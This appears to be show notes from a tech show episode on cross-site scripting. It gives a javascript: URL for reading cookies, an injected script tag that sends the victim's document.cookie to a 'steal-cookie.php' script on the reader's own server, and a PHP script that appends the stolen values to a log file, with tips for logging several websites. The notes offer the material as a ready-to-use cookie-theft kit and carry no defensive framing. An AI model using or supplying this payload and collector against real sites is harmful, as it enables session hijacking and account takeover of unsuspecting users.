

## iNetizen Christmas Special - Show notes

### Cross site scripting

To check webpage for current cookie, enter the following into your address bar:  
`javascript:alert(document.cookie);`

XSS attack to submit a cookie value to a script on your server:

```
<script>new Image().src="http://your-service.com/steal-cookie.php?
cookie="+encodeURIComponent(document.cookie);</script>
```

Note: Your script will accept a value passed to `$_GET['cookie']`, which you can then either store in your local database, or write it to a simple flat-file.

Example:

```
<?php
$cookie_val = $_GET['cookie'] . "<br />";
$flatfile = "cookie_log.html";

$fh = fopen($flatfile, 'a') or die("Error.");
fwrite($fh, $cookie_val);
fclose($fh);
?>
```

You can improve this script by adding a date value, and server referrer (if logging multiple websites).